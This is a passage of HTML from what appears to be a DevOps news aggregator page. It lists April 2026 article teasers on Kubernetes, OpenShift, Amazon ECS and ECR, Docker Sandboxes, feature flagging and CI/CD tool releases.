          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Kubernetes turns 12 this year. In that time, it’s gone from a Google side project to the operating system of modern infrastructure running everywhere from mainframes to GPUs, across multi-cloud, hybri</p>
<p><strong>📅 Apr 17, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/04/17/k3s-on-on-prem-infrastructures-the-gitops-way-writing-a-custom-k0rdent-template-from-scratch/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-confidential-containers-workshop-on-microsoft-azure-red-hat-openshift-learn-interactively" class="group relative scroll-mt-24">
        <a href="#h3-confidential-containers-workshop-on-microsoft-azure-red-hat-openshift-learn-interactively" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Confidential Containers workshop on Microsoft Azure Red Hat OpenShift: Learn interactively
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-confidential-containers-workshop-on-microsoft-azure-red-hat-openshift-learn-interactively"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Confidential computing is a complex topic, and often requires a deep understanding of hardware, kernel, and orchestration layers. The generic definition is &quot;protecting data in use,&quot; but it&#39;s more than</p>
<p><strong>📅 Apr 17, 2026</strong> • <strong>📰 OpenShift Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/confidential-containers-workshop-microsoft-azure-red-hat-openshift-learn-interactively"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-meet-the-latest-red-hat-openshift-superheroes" class="group relative scroll-mt-24">
        <a href="#h3-meet-the-latest-red-hat-openshift-superheroes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Meet the latest Red Hat OpenShift Superheroes
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-meet-the-latest-red-hat-openshift-superheroes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Earlier this month at Red Hat OpenShift Commons in Amsterdam, co-located with KubeCon + CloudNativeConEU, we celebrated a few Red Hat OpenShift Superheroes. While each member of the Red Hat OpenShift </p>
<p><strong>📅 Apr 16, 2026</strong> • <strong>📰 OpenShift Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/meet-latest-red-hat-openshift-superheroes-0"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-announcing-red-hat-openshift-pipelines-121-faster-builds-smarter-caching-and-improved-troubleshooting" class="group relative scroll-mt-24">
        <a href="#h3-announcing-red-hat-openshift-pipelines-121-faster-builds-smarter-caching-and-improved-troubleshooting" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Announcing Red Hat OpenShift Pipelines 1.21: Faster builds, smarter caching, and improved troubleshooting
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-announcing-red-hat-openshift-pipelines-121-faster-builds-smarter-caching-and-improved-troubleshooting"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Red Hat OpenShift Pipelines 1.21 is now available, improving pipeline performance, security capabilities, and troubleshooting for Kubernetes-native continuous integration and delivery (CI/CD) on Red H</p>
<p><strong>📅 Apr 15, 2026</strong> • <strong>📰 OpenShift Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/announcing-red-hat-openshift-pipelines-121-faster-builds-smarter-caching-and-improved-troubleshooting"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-deploying-model-context-protocol-mcp-servers-on-amazon-ecs" class="group relative scroll-mt-24">
        <a href="#h3-deploying-model-context-protocol-mcp-servers-on-amazon-ecs" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Deploying Model Context Protocol (MCP) servers on Amazon ECS
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-deploying-model-context-protocol-mcp-servers-on-amazon-ecs"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In this post, we will walk you through a three-tier MCP application deployed entirely on Amazon ECS, using Service Connect for service-to-service communication and Express Mode for automated load bala</p>
<p><strong>📅 Apr 14, 2026</strong> • <strong>📰 AWS Containers Blog</strong></p>
<p><a href="https://aws.amazon.com/blogs/containers/deploying-model-context-protocol-mcp-servers-on-amazon-ecs/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-ingress-nginx-to-envoy-gateway-migration-on-cncf-internal-services-cluster" class="group relative scroll-mt-24">
        <a href="#h3-ingress-nginx-to-envoy-gateway-migration-on-cncf-internal-services-cluster" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 ingress-nginx to Envoy Gateway migration on CNCF internal services cluster
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-ingress-nginx-to-envoy-gateway-migration-on-cncf-internal-services-cluster"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>CNCF hosts a Kubernetes cluster to run some services for internal purposes (namely; codimd, GUAC, kcp). The Kubernetes Project announced the ingress-nginx retirement (not to be confused with NGINX or </p>
<p><strong>📅 Apr 13, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/04/13/ingress-nginx-to-envoy-gateway-migration-on-cncf-internal-services-cluster/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-cloud-native" class="group relative scroll-mt-24">
        <a href="#h2-cloud-native" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          ☁️ Cloud Native
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-cloud-native"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-amazon-ecr-pull-through-cache-now-supports-referrer-discovery-and-sync" class="group relative scroll-mt-24">
        <a href="#h3-amazon-ecr-pull-through-cache-now-supports-referrer-discovery-and-sync" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Amazon ECR Pull Through Cache Now Supports Referrer Discovery and Sync
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-amazon-ecr-pull-through-cache-now-supports-referrer-discovery-and-sync"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Amazon Elastic Container Registry (Amazon ECR) now automatically discovers and syncs OCI referrers, such as image signatures, SBOMs, and attestations, from upstream registries into your Amazon ECR pri</p>
<p><strong>📅 Apr 17, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/04/amazon-ecr-pull-through-cache-referrers/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-why-microvms-the-architecture-behind-docker-sandboxes" class="group relative scroll-mt-24">
        <a href="#h3-why-microvms-the-architecture-behind-docker-sandboxes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Why MicroVMs: The Architecture Behind Docker Sandboxes
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-why-microvms-the-architecture-behind-docker-sandboxes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Last week, we launched Docker Sandboxes with a bold goal: to deliver the strongest agent isolation in the market. This post unpacks that claim, how microVMs enable it, and some of the architectural ch</p>
<p><strong>📅 Apr 16, 2026</strong> • <strong>📰 Docker Blog</strong></p>
<p><a href="https://www.docker.com/blog/why-microvms-the-architecture-behind-docker-sandboxes/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-to-measure-the-roi-of-developer-tools" class="group relative scroll-mt-24">
        <a href="#h3-how-to-measure-the-roi-of-developer-tools" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How To Measure the ROI of Developer Tools
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-to-measure-the-roi-of-developer-tools"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>There’s been a growing emphasis in the cloud native community on investing in tools that improve developer experience. Platform engineering, accompanied with the rise of projects like Backstage, is al</p>
<p><strong>📅 Apr 16, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/04/15/how-to-measure-the-roi-of-developer-tools/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-why-we-chose-the-harder-path-docker-hardened-images-one-year-later" class="group relative scroll-mt-24">
        <a href="#h3-why-we-chose-the-harder-path-docker-hardened-images-one-year-later" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Why We Chose the Harder Path: Docker Hardened Images, One Year Later
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-why-we-chose-the-harder-path-docker-hardened-images-one-year-later"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>We&#39;re coming up on a year since launching Docker Hardened Images (DHI) last May, and crossing a milestone earlier this month made me stop and reflect on what we&#39;ve actually been building. Earlier this</p>
<p><strong>📅 Apr 14, 2026</strong> • <strong>📰 Docker Blog</strong></p>
<p><a href="https://www.docker.com/blog/why-we-chose-the-harder-path-docker-hardened-images-one-year-later/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-to-analyze-hugging-face-for-arm64-readiness" class="group relative scroll-mt-24">
        <a href="#h3-how-to-analyze-hugging-face-for-arm64-readiness" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How to Analyze Hugging Face for Arm64 Readiness
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-to-analyze-hugging-face-for-arm64-readiness"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>This post is a collaboration between Docker and Arm, demonstrating how Docker MCP Toolkit and the Arm MCP Server work together to scan Hugging Face Spaces for Arm64 Readiness. In our previous post, we</p>
<p><strong>📅 Apr 13, 2026</strong> • <strong>📰 Docker Blog</strong></p>
<p><a href="https://www.docker.com/blog/how-to-analyze-hugging-face-for-arm64-readiness/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-cicd" class="group relative scroll-mt-24">
        <a href="#h2-cicd" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🔄 CI/CD
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-cicd"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-experimentation-starts-with-engineering" class="group relative scroll-mt-24">
        <a href="#h3-experimentation-starts-with-engineering" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Experimentation starts with engineering
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-experimentation-starts-with-engineering"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Why unifying feature delivery and experimentation is essential.</p>
<p><strong>📅 Apr 20, 2026</strong> • <strong>📰 LaunchDarkly Blog</strong></p>
<p><a href="https://launchdarkly.com/blog/experimentation-starts-with-engineering/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-live-demo-guarded-releases-in-action" class="group relative scroll-mt-24">
        <a href="#h3-live-demo-guarded-releases-in-action" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Live demo: Guarded Releases in action
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-live-demo-guarded-releases-in-action"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>See a walk-through of how to get started with Guarded Releases.</p>
<p><strong>📅 Apr 20, 2026</strong> • <strong>📰 LaunchDarkly Blog</strong></p>
<p><a href="https://launchdarkly.com/blog/live-demo-guarded-releases-in-action/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-introducing-ai-experiments-and-ai-versioning" class="group relative scroll-mt-24">
        <a href="#h3-introducing-ai-experiments-and-ai-versioning" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Introducing AI Experiments and AI Versioning
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-introducing-ai-experiments-and-ai-versioning"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Test, optimize, and manage AI Configs to accelerate AI app development</p>
<p><strong>📅 Apr 20, 2026</strong> • <strong>📰 LaunchDarkly Blog</strong></p>
<p><a href="https://launchdarkly.com/blog/introducing-ai-experiments-and-ai-versioning/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-gitea-1260-is-released" class="group relative scroll-mt-24">
        <a href="#h3-gitea-1260-is-released" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Gitea 1.26.0 is released
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-gitea-1260-is-released"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>We are thrilled to announce the latest release of Gitea v1.26.0.</p>
<p><strong>📅 Apr 18, 2026</strong> • <strong>📰 Gitea Blog</strong></p>
<p><a href="https://blog.gitea.com/release-of-1.26.0"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-feature-testing-the-complete-guide-for-modern-devops-teams" class="group relative scroll-mt-24">
        <a href="#h3-feature-testing-the-complete-guide-for-modern-devops-teams" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Feature Testing: The Complete Guide for Modern DevOps Teams
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-feature-testing-the-complete-guide-for-modern-devops-teams"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn how feature testing helps DevOps teams deploy safer, faster releases. Use AI-powered guardrails and automated rollbacks. Try now! | Blog</p>
<p><strong>📅 Apr 18, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/the-complete-guide-to-feature-testing-for-modern-devops-teams"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-building-an-emoji-list-generator-with-the-github-copilot-cli" class="group relative scroll-mt-24">
        <a href="#h3-building-an-emoji-list-generator-with-the-github-copilot-cli" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Building an emoji list generator with the GitHub Copilot CLI
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-building-an-emoji-list-generator-with-the-github-copilot-cli"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>See how we created an emoji list generator during the Rubber Duck Thursday stream. The post Building an emoji list generator with the GitHub Copilot CLI appeared first on The GitHub Blog.</p>
<p><strong>📅 Apr 17, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/ai-and-ml/github-copilot/building-an-emoji-list-generator-with-the-github-copilot-cli/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-ab-testing-tools-cto-guide-to-safe-measurable-innovation" class="group relative scroll-mt-24">
        <a href="#h3-ab-testing-tools-cto-guide-to-safe-measurable-innovation" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 A/B Testing Tools: CTO Guide to Safe, Measurable Innovation
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-ab-testing-tools-cto-guide-to-safe-measurable-innovation"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Discover top A/B testing tools for CTOs. Unify feature management and experimentation for safe, measurable innovation. Try Harness for better releases. | Blog</p>
<p><strong>📅 Apr 17, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/a-b-testing-tools-the-ctos-guide-to-safe-and-measurable-change"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-github-uses-ebpf-to-improve-deployment-safety" class="group relative scroll-mt-24">
        <a href="#h3-how-github-uses-ebpf-to-improve-deployment-safety" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How GitHub uses eBPF to improve deployment safety
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-github-uses-ebpf-to-improve-deployment-safety"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn how Github uses eBPF to detect and prevent circular dependencies in its deployment tooling. The post How GitHub uses eBPF to improve deployment safety appeared first on The GitHub Blog.</p>
<p><strong>📅 Apr 16, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/engineering/infrastructure/how-github-uses-ebpf-to-improve-deployment-safety/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-gitlab-1811-budget-guardrails-for-gitlab-credits" class="group relative scroll-mt-24">
        <a href="#h3-gitlab-1811-budget-guardrails-for-gitlab-credits" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 GitLab 18.11: Budget guardrails for GitLab Credits
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-gitlab-1811-budget-guardrails-for-gitlab-credits"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
